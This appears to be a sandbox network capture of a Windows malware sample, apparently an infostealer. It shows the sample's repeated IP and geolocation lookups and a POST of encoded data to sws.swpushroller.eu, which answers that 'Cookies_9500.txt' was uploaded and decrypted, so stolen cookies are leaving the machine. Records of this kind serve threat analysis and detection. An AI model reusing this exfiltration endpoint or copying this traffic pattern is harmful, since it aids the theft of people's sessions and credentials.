Nov 26, 2024 09:50:30.627402067 CET	320	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 08:50:30 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 1c207c362196f5d1668ec3d4be0edb5d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>
Nov 26, 2024 09:50:30.634443045 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 26, 2024 09:50:36.345693111 CET	745	IN	HTTP/1.1 504 Gateway Time-out Date: Tue, 26 Nov 2024 08:50:36 GMT Content-Type: text/html Content-Length: 557 Connection: keep-alive X-Request-ID: e94f00f97b7bb868c1425a12f69b1a37 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 34 20 47 61 74 65 77 61 79 20 54 69 6d 65 2d 6f 75 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 34 20 47 61 74 65 77 61 79 20 54 69 6d 65 2d 6f 75 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c [TRUNCATED] Data Ascii: <html><head><title>504 Gateway Time-out</title></head><body><center><h1>504 Gateway Time-out</h1></center><hr><center></center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Nov 26, 2024 09:50:36.376588106 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 26, 2024 09:50:39.176482916 CET	730	IN	HTTP/1.1 502 Bad Gateway Date: Tue, 26 Nov 2024 08:50:38 GMT Content-Type: text/html Content-Length: 547 Connection: keep-alive X-Request-ID: 17e44ffc28533afd831fa4ec19531574 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 [TRUNCATED] Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center></center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Nov 26, 2024 09:50:39.180767059 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 26, 2024 09:50:39.934798002 CET	320	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 08:50:39 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 823ca9e25df1d9244159adf8d43b6fee Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>
Nov 26, 2024 09:50:42.236702919 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 26, 2024 09:50:42.828476906 CET	320	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 08:50:42 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 321db3a0702cc7787104c499e8dace0e Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>
Nov 26, 2024 09:50:44.501113892 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 26, 2024 09:50:46.244453907 CET	320	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 08:50:46 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: d23b33b90838188d9553bc392969e8d6 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>
Nov 26, 2024 09:50:47.963291883 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 26, 2024 09:50:48.314937115 CET	320	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 08:50:48 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 011b961f1c508808e6afedbf6a823417 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>
Nov 26, 2024 09:50:49.978104115 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 26, 2024 09:50:51.307235956 CET	730	IN	HTTP/1.1 502 Bad Gateway Date: Tue, 26 Nov 2024 08:50:51 GMT Content-Type: text/html Content-Length: 547 Connection: keep-alive X-Request-ID: 09e8f6cfb28eda69c58d01368ea3e7c1 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 [TRUNCATED] Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center></center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Nov 26, 2024 09:50:51.310323000 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 26, 2024 09:50:52.638519049 CET	730	IN	HTTP/1.1 502 Bad Gateway Date: Tue, 26 Nov 2024 08:50:52 GMT Content-Type: text/html Content-Length: 547 Connection: keep-alive X-Request-ID: 004c129e3fc1df45b25a40cd4af853d5 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 [TRUNCATED] Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center></center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Nov 26, 2024 09:50:52.642421961 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 26, 2024 09:50:53.970599890 CET	730	IN	HTTP/1.1 502 Bad Gateway Date: Tue, 26 Nov 2024 08:50:53 GMT Content-Type: text/html Content-Length: 547 Connection: keep-alive X-Request-ID: 1b02ed9726c05c21d942aed664025b79 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 [TRUNCATED] Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center></center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49742	45.80.158.30	80	7444	C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 09:51:03.121068954 CET	144	OUT	POST /swsk/P4.php HTTP/1.1 Content-Type: text/plain; charset=utf-8 Host: sws.swpushroller.eu Content-Length: 9068 Connection: Keep-Alive
Nov 26, 2024 09:51:03.126838923 CET	9068	OUT	Data Raw: 4d 6e 47 6e 55 56 75 34 59 54 57 4a 71 79 74 43 35 39 74 72 48 48 61 72 7a 6d 45 38 41 4a 70 57 77 52 35 4a 6a 59 49 44 2b 77 78 33 45 37 38 5a 39 46 37 48 56 37 66 44 6c 46 77 6e 4b 4a 38 4b 55 6e 53 4d 34 54 69 50 73 46 6d 45 33 39 47 34 67 53 Data Ascii: MnGnUVu4YTWJqytC59trHHarzmE8AJpWwR5JjYID+wx3E78Z9F7HV7fDlFwnKJ8KUnSM4TiPsFmE39G4gSHLRjJwFXENZ+hsCIfcBzXn1FyodVQLVy2dXWhDCVQVlJGZPqloSUmRGsOQgnPjJPXBVUq0P27fe98GjIcjicphBEgqqAUM2q8B0y8eizFQO/5lNoaVghCKi5g3SPObuvBVUU1KoOHQd9GMH07+m2k6pMHE/bkUAr8
Nov 26, 2024 09:51:04.503113031 CET	345	IN	HTTP/1.1 201 Created Date: Tue, 26 Nov 2024 08:51:04 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 X-Powered-By: PHP/8.0.30 Content-Length: 86 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 22 44 61 74 61 20 75 70 6c 6f 61 64 65 64 20 61 6e 64 20 64 65 63 72 79 70 74 65 64 20 73 75 63 63 65 73 73 66 75 6c 6c 79 2e 22 2c 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 43 6f 6f 6b 69 65 73 5f 39 35 30 30 2e 74 78 74 22 7d Data Ascii: {"message":"Data uploaded and decrypted successfully.","file_name":"Cookies_9500.txt"}

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	104.21.67.152	443	7444	C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:50:41 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-26 08:50:42 UTC	853	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 08:50:41 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 574950 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FTafIjZEUuT4K6HyNCbIazvN1FDnOyltKEVZ7CziztwgMl%2FwAEDPNneWssbqN7wM%2Bfy9K8%2FtECkazD4SMXFUdO5GzOb12dKQCJfi9DHN1enK%2BrpicZmvolMKjsdoGgKQD9vvi3N3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e88a1e468ab4299-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2338&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=698&delivery_rate=1224318&cwnd=251&unsent_bytes=0&cid=36fb0500af1edfcb&ts=459&x=0"
2024-11-26 08:50:42 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49736	104.21.67.152	443	7444	C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:50:44 UTC	60	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-26 08:50:44 UTC	851	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 08:50:44 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 574953 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Kw51ZYWQDIOGIoy7mqh2Bapa4PQ2t0qO%2F6vsXF0cnBukr5NmbzKt7r5KBni5%2BrWDsFkE4tmvcHag1cXm2Oa02Y3IIDL8bL2wmKvQa%2B5efzJSmtJjh5I01kVxg4QPokmdDemCNQ8v"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e88a1f30a2e42d5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1615&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=698&delivery_rate=1732937&cwnd=214&unsent_bytes=0&cid=62a3e86372e57dec&ts=454&x=0"
2024-11-26 08:50:44 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49739	104.21.67.152	443	7444	C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:50:47 UTC	60	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-26 08:50:47 UTC	876	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 08:50:47 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 574956 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NwjOvFJ99r1ZtC3s3MKdw8GLXS53Rfm%2Fmc%2FPYXZDvs1ZLy6g5Ev9QIBvtMKR5IR%2FePitmFgZpYANb6MCyzzrCLLqhG5Sbtk62zaVM95weYaZJZao6DHM7GO3mpgO44Ya5ROraye5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e88a208aad41a30-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2045&min_rtt=2045&rtt_var=767&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2850&recv_bytes=698&delivery_rate=1425781&cwnd=252&unsent_bytes=0&cid=05884c2c6de350de&ts=460&x=0"
2024-11-26 08:50:47 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49740	104.21.67.152	443	7444	C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:50:49 UTC	60	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org
